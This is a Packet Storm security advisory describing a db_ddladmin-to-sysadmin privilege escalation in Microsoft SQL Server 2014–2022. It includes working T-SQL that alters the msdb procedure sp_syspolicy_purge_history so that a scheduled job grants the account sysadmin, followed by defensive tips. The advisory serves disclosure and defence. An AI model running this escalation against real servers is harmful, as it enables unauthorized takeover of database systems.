what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server db_ddladmin Privilege Escalation

Microsoft SQL Server db_ddladmin Privilege Escalation
Posted Jan 9, 2024
Authored by Emad Al-Mousa

Microsoft SQL Server versions 2014 through 2022 suffers from a db_ddladmin privilege escalation vulnerability. When escalated to Microsoft as a concern, they instead opted to update their documentation to note that this is possible instead of addressing the issue.

tags | advisory
SHA-256 | cac3f425f4cca8e96dd9616578d2788098261640c115710127e2b2ec6da21b6c

Microsoft SQL Server db_ddladmin Privilege Escalation

Change Mirror Download
Title: SQL Server Privilege Escalation from db_ddladmin to sysadmin
Product: Microsoft SQL Server
Affected Version(s): 2014,2016,2017,2019,2022
Tested Version(s): 2014,2016,2017,2019,2022
Risk Level: Medium
Author of Advisory: Emad Al-Mousa

Overview:

Privilege Escalation is a serious security attack that attackers seek to compromise IT infrastructure and systems. attackers will either exploit vulnerabilites or misconfiguration in the system to escalate their permissions and take over the whole system.

*****************************************
Vulnerability Details:

By design when you install SQL Server database engine a job is created called “syspolicy_purge_history” , and this job by design will run every day. This job can be weaponized for privilege escalation attack.

attacker will require to compromise a database account that is added in MSDB system database and is granted db_ddladmin role.


*****************************************
Proof of Concept (PoC):


I will create a dummy account called “toto” (for the sake of simulation it will be SQL Authenticated account):

USE [master]

GO

CREATE LOGIN [toto] WITH PASSWORD=N'toto', DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

And, then I will add the account as database user in system database MSDB with db_ddladmin permission:

USE [msdb]

GO

CREATE USER [toto] FOR LOGIN [toto]

GO

USE [msdb]

GO

ALTER ROLE [db_ddladmin] ADD MEMBER [toto]

GO

Then, I will execute the following modification code against the procedure:

USE [msdb]

GO

ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history]

AS

BEGIN

ALTER SERVER ROLE [sysadmin] ADD MEMBER [toto]

END


The next scheduled run-time for the job syspolicy_purge_history, the account toto will be escalated to SYSADMIN role, which means he will he/she will take over the whole SQL Server database system.


-***- To protect from such attacks you will need to follow these security tips:

Implement in-place auditing for privilege escalation attacks [smart auditing….don’t audit everything as auditing will impose performance overhead]

Implement least privilege concept in your environment, do not grant any account extra permissions that can be weaponized for security breach.

Strong Identity and account management approach should be in-place, passwords policies are important to make brute force attacks challenging.

patch your environments , and follow best security practices.

*****************************************
References:
https://databasesecurityninja.wordpress.com/2024/01/07/sql-server-privilege-escalation-from-db_ddladmin-to-sysadmin/
https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver16




Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close